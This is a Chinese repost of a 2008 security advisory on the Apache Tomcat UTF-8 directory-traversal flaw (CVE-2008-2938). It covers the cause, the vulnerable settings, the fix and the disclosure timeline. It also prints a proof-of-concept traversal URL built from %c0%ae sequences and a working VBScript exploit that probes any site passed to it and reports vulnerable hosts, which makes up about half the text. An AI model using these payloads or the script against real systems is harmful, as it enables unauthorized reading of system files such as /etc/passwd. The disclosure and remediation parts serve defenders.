Apache Tomcat UTF-8编码漏洞[转载至邪恶八进制]

Apache Tomcat出了一个类似当年IIS url 编码的漏洞。漏洞发生在Apache Tomcat处理UTF-8编码时，没有正确转换，从而导致在处理包含%c0%ae%c0%ae的url时转换为类似../的形式，使得可以遍历系统任意文件，包括

/etc/passwd等

触发的条件为Apache Tomcat的配置文件context.xml 或 server.xml 的'allowLinking' 和 'URIencoding' 允许'UTF-8'选项

Title: Apache Tomcat Directory Traversal Vulnerability
Author: Simon Ryeo(bar4mi (at) gmail.com, barami (at) ahnlab.com)
Severity: High
Impact: Remote File Disclosure
Vulnerable Version: prior to 6.0.18
Solution:
- Best Choice: Upgrade to 6.0.18 (http://tomcat.apache.org)
- Hot fix: Disable allowLinking or do not set URIencoding to utf8 in order to avoid this vulnerability.
- Tomcat 5.5.x and 4.1.x Users: The fix will be included in the next releases. Please apply the hot fix until next release.
References:
- http://tomcat.apache.org/security.html - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2938 History:
- 07.17.2008: Initiate notify (To Apache Security Team)
- 08.02.2008: Responsed this problem fixed and released new version
- 08.05.2008: Notify disclosure (To Apache Tomcat Security Team)
- 08.10.2008: Responsed with some suggestions.

Description
As Apache Security Team, this problem occurs because of JAVA side.
If your context.xml or server.xml allows 'allowLinking'and 'URIencoding' as
'UTF-8', an attacker can obtain your important system files.(e.g.  /etc/passwd)

Exploit
If your webroot directory has three depth(e.g /usr/local/wwwroot), An
attacker can access arbitrary files as below. (Proof-of-concept)
 http://www.target.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar 
# milw0rm.com [2008-08-11]

VBS 测试版:

Dim strUrl,strSite

showB()
Set Args = Wscript.Arguments

If Args.Count <> 1 Then
ShowU()
Else
strSite=Args(0)
End If

strUrl="/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar"

Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.Open "GET",strSite & strUrl, False
objXML.SetRequestHeader "Referer", strSite

objXML.send()

if objXML.status=200 then
wscript.echo("存在漏洞")

end if

Sub showB()
With Wscript
.Echo("+--------------------------=====================------------------------------+")
.Echo("Exploit Apache Tomcat UTF-8")
.Echo("Code By Safe3")
.Echo("+--------------------------=====================------------------------------+")
End with
End Sub
Sub showU()
With Wscript
.Echo("+--------------------------=====================------------------------------+")
.Echo("用法:")
.Echo(" cscript "&.ScriptName&" site")
.Echo("例子:")
.Echo(" cscript "&.ScriptName&" http://www.example.com >result.txt")
.Echo("+--------------------------=====================------------------------------+")
.Quit
End with
End Sub